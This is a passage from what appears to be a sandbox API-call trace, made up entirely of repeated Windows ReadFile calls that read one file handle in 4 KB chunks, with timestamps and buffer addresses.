(in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.661] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.661] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.661] ReadFile (in: hFile=0x344, lpBuffer=0x3506e50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x3506e50*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.684] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.684] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.684] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.685] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.685] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.685] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.685] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.685] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.685] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.686] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.686] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.686] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.686] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.686] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.686] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.687] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.687] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.687] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.687] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.687] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.687] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.688] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.688] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.688] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.688] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.688] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.688] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.689] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.689] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.689] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.689] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.689] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.700] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.700] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.700] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.701] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.701] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.701] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.701] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.701] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.702] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.702] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.702] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.702] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.702] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.702] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.703] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.703] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.703] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.703] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.703] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.703] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.704] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.705] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.705] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.705] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.705] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.705] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.705] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.706] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.707] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.709] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.709] ReadFile (in: hFile=0x344, lpBuffer=0x2ddac10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c7fea48, lpOverlapped=0x0 | out: lpBuffer=0x2ddac10*, lpNumberOfBytesRead=0x1c7fea48*=0x1000, lpOverlapped=0x0) returned 1 [0056.709] ReadFile (in: hFile=0x344, 